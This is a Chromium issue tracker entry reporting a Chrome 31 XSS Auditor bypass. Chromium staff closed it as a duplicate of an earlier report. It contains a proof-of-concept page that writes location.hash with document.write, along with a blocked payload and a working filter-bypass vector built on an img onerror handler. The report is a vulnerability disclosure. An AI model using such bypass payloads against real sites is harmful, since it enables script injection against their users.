New issue
Advanced search Search tips

Issue 614634 link

Starred by 1 user

Issue metadata

Status: Duplicate
Merged: issue 142189
Owner: ----
Closed: May 2016
EstimatedDays: ----
NextAction: ----
OS: ----
Pri: ----
Type: Bug-Security



Sign in to add a comment

Security: Google Chrome 31.0 XSS Auditor Bypass Vulnerability

Reported by carbugam...@gmail.com, May 25 2016

Issue description

Google chrome XSS auditor was found prone to a bypass when the user input passed though location.hash was being written to the DOM by using document.write property. Normally, XSS auditor checks XSS by comparing the request and response however, it also checks for request itself, if it contains an untrusted input to prevent DOM XSS as well. 



#Vulnerability: Google Chrome 31.0 XSS Auditor Bypass
#Impact: Moderate
#Authors: Rafay Baloch
#Company: RHAInfoSec
#Website: http://rhainfosec.com <http://rhainfose.com/>
#version: Latest
 
Description
 
Google chrome XSS auditor was found prone to a bypass when the user input
passed though location.hash was being written to the DOM by using
document.write property. Normally, XSS auditor checks XSS by comparing the
request and response however, it also checks for request itself, if it
contains an untrusted input to prevent DOM XSS as well.
 
 
Proof Of concept:
 
Consider the following code:
 
<html>
<body>
<script type="text/javascript">
document.write(location.hash);
</script>
</body>
</html>
 
 
This takes input from location.hash property and writes it to the DOM. We
initially inject the following payload:
#<img src=x onerror=prompt(1)>. The request is blocked and the following
error is returned:
 
"
The XSS Auditor refused to execute a script in 'attacker.com#><img src=x
onerror=prompt(1)>' because its source code was found within the request.
The auditor was enabled as the server sent neither an 'X-XSS-Protection'
nor 'Content-Security-Policy' header."
 
However, the following vector passes by:
 
#<img src=x onerror=prompt(1)//
 
 
The following is how its reflected inside of DOM:
 
<img src="x" onerror="prompt(1)//" <="" body="">
 

Comment 1 by och...@chromium.org, May 25 2016

Mergedinto: 142189
Status: Duplicate (was: Unconfirmed)
Thanks for the copy and paste.
award
Project Member

Comment 3 by sheriffbot@chromium.org, Sep 1 2016

Labels: -Restrict-View-SecurityTeam
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 4 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 5 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic

Sign in to add a comment